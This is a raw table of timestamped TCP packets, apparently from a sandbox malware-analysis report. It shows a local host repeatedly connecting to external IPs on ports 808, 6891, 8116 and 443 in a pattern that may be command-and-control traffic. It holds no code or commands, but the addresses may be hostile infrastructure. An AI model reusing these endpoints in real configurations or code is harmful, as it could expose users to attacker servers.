Oct 28, 2021 04:46:21.453999996 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.454109907 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.526216984 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.529629946 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.529683113 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.529797077 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.529830933 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.610013962 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.614052057 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.614068985 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.614078999 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.906721115 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.906749010 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.906872034 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.909843922 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.993920088 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.993944883 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.994098902 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.994191885 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:22.006022930 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:22.025886059 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.070086002 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:22.136708021 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.166354895 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:22.192476988 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:22.192598104 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.193509102 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.303421974 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:22.303586960 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.305180073 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.361047029 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:22.361148119 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:22.361228943 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.361886978 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.365869045 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.365953922 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.471611977 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:22.471688986 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:22.471766949 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.472244024 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.475245953 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.475357056 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.533186913 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:22.641827106 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:22.641858101 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:22.641875029 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:22.917671919 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:22.917705059 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:22.917757988 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.917782068 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:22.919888020 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:23.034059048 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:23.034085989 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:23.036079884 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:23.040205956 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.043107033 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:23.086474895 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:23.096288919 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.099977970 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.100558996 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.155644894 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.156887054 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.156909943 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.156991959 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.157417059 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.160075903 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.160166979 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.209265947 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.209441900 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.209450006 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:23.210134029 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.215584993 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.215691090 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.255110025 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.262381077 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.262648106 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.262737036 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.263209105 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.266191006 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.266295910 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.318502903 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.319171906 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.516882896 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.516948938 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.517153025 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.523494005 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.575949907 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.643016100 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:23.643080950 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:23.643376112 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:23.643811941 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:23.643836975 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:23.686153889 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.686228037 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.686382055 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.688942909 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:23.745153904 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:23.805752039 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:23.805790901 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:23.805893898 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:23.806518078 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:23.806529045 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:24.170882940 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:24.171819925 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:24.172461033 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:24.172472000 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:24.179106951 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:24.179122925 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:24.179280996 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:24.179291010 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:24.325594902 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:24.325719118 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:24.326451063 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:24.326464891 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:24.331724882 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:24.331746101 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:24.331899881 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:24.331912041 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:24.891916037 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:24.891989946 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:24.892066002 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:24.892090082 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:24.899132967 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:24.899162054 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:25.013760090 CEST	49925	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.036576033 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:25.036659956 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:25.036771059 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:25.036875010 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:25.043344975 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:25.043382883 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:25.165796041 CEST	49927	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.173363924 CEST	808	49925	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.173477888 CEST	49925	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.174036980 CEST	49925	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.332375050 CEST	808	49927	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.332479000 CEST	49927	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.333267927 CEST	49927	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.333427906 CEST	808	49925	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.333522081 CEST	808	49925	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.333592892 CEST	49925	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.334024906 CEST	49925	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.336863995 CEST	49925	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.336952925 CEST	49925	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.493388891 CEST	808	49925	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.496171951 CEST	808	49925	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.496196032 CEST	808	49925	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.496207952 CEST	808	49925	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.496220112 CEST	808	49925	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.499622107 CEST	808	49927	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.499743938 CEST	808	49927	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.499864101 CEST	49927	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.500437975 CEST	49927	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.503276110 CEST	49927	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.503427029 CEST	49927	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.666826010 CEST	808	49927	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.669621944 CEST	808	49927	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.669671059 CEST	808	49927	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.669683933 CEST	808	49927	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.669763088 CEST	808	49927	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.881103992 CEST	808	49925	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.881136894 CEST	808	49925	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:25.881309986 CEST	49925	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:25.889369965 CEST	49925	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:26.014909029 CEST	49930	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.047914028 CEST	808	49927	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:26.047946930 CEST	808	49927	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:26.048073053 CEST	49927	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:26.048119068 CEST	49927	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:26.048901081 CEST	808	49925	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:26.052584887 CEST	49927	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:26.167484999 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.181490898 CEST	6891	49930	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:26.181724072 CEST	49930	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.182240009 CEST	49930	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.219180107 CEST	808	49927	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:26.333980083 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:26.334161997 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.334969044 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.348588943 CEST	6891	49930	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:26.348648071 CEST	6891	49930	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:26.348786116 CEST	49930	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.349307060 CEST	49930	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.353425980 CEST	49930	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.353523970 CEST	49930	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.501260996 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:26.501337051 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:26.501401901 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.501930952 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.505826950 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.506062984 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.519893885 CEST	6891	49930	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:26.519925117 CEST	6891	49930	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:26.558281898 CEST	6891	49930	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:26.672075987 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:26.672243118 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:26.672257900 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:26.903389931 CEST	6891	49930	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:26.903424025 CEST	6891	49930	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:26.903461933 CEST	49930	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.903487921 CEST	49930	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:26.910650969 CEST	49930	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:27.030263901 CEST	49936	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.051831961 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:27.051862955 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:27.051929951 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:27.055017948 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:27.077039957 CEST	6891	49930	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:27.082714081 CEST	8116	49936	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.082823992 CEST	49936	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.083492041 CEST	49936	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.135642052 CEST	8116	49936	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.135881901 CEST	8116	49936	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.136101007 CEST	49936	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.143491983 CEST	49936	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.147658110 CEST	49936	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.147767067 CEST	49936	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.166276932 CEST	49937	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.200074911 CEST	8116	49936	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.200632095 CEST	8116	49936	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.215473890 CEST	8116	49937	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.215564966 CEST	49937	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.216212988 CEST	49937	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.221292019 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:27.265197039 CEST	8116	49937	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.265480042 CEST	8116	49937	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.265563965 CEST	49937	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.266127110 CEST	49937	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.269854069 CEST	49937	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.269978046 CEST	49937	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.318840981 CEST	8116	49937	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.319181919 CEST	8116	49937	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.372627020 CEST	8116	49936	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.372663975 CEST	8116	49936	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.372740984 CEST	49936	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.372776031 CEST	49936	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.383456945 CEST	49936	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.435646057 CEST	8116	49936	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.499913931 CEST	49940	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:27.499949932 CEST	443	49940	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:27.500058889 CEST	49940	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:27.500770092 CEST	49940	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:27.500782967 CEST	443	49940	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:27.509567022 CEST	8116	49937	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.509598017 CEST	8116	49937	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.509686947 CEST	49937	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.512722015 CEST	49937	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:27.561635017 CEST	8116	49937	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:27.635261059 CEST	49941	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:27.635298967 CEST	443	49941	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:27.635384083 CEST	49941	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:27.635874987 CEST	49941	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:27.635885954 CEST	443	49941	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:28.015034914 CEST	443	49940	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:28.015136003 CEST	49940	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:28.015782118 CEST	49940	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:28.015796900 CEST	443	49940	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:28.021261930 CEST	49940	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:28.021276951 CEST	443	49940	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:28.021436930 CEST	49940	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:28.021447897 CEST	443	49940	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:28.156965017 CEST	443	49941	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:28.157053947 CEST	49941	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:28.157854080 CEST	49941	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:28.157866001 CEST	443	49941	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:28.164237022 CEST	49941	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:28.164248943 CEST	443	49941	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:28.164387941 CEST	49941	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:28.164397955 CEST	443	49941	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:28.729818106 CEST	443	49940	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:28.729897022 CEST	443	49940	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:28.729974985 CEST	49940	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:28.737365961 CEST	49940	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:28.737402916 CEST	443	49940	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:28.856724024 CEST	49948	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:28.873050928 CEST	443	49941	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:28.873143911 CEST	443	49941	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:28.873214960 CEST	49941	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:28.875494957 CEST	49941	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:28.875521898 CEST	443	49941	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:29.014894962 CEST	808	49948	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.016200066 CEST	49948	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.016829014 CEST	49948	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.040689945 CEST	49950	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.174850941 CEST	808	49948	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.174881935 CEST	808	49948	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.174976110 CEST	49948	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.175736904 CEST	49948	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.179210901 CEST	49948	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.179806948 CEST	49948	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.200109005 CEST	808	49950	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.200239897 CEST	49950	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.200839996 CEST	49950	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.333755970 CEST	808	49948	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.337214947 CEST	808	49948	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.337701082 CEST	808	49948	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.337723017 CEST	808	49948	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.360153913 CEST	808	49950	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.360268116 CEST	808	49950	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.360447884 CEST	49950	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.361073971 CEST	49950	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.365200043 CEST	49950	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.365466118 CEST	49950	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.520385027 CEST	808	49950	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.524534941 CEST	808	49950	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.524688959 CEST	808	49950	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.524794102 CEST	808	49950	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.725251913 CEST	808	49948	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.725286007 CEST	808	49948	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.725399971 CEST	49948	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.733453989 CEST	49948	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.860049963 CEST	49954	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:29.891951084 CEST	808	49948	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.906312943 CEST	808	49950	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.906346083 CEST	808	49950	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:29.906452894 CEST	49950	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:29.909651041 CEST	49950	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:30.024461985 CEST	49955	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.026576042 CEST	6891	49954	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.026691914 CEST	49954	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.027188063 CEST	49954	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.069128990 CEST	808	49950	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:30.190870047 CEST	6891	49955	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.190996885 CEST	49955	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.192220926 CEST	49955	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.193412066 CEST	6891	49954	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.193609953 CEST	6891	49954	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:30.193802118 CEST	49954	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:30.196053028 CEST	49954	6891	192.168.2.5	45.77.0.96
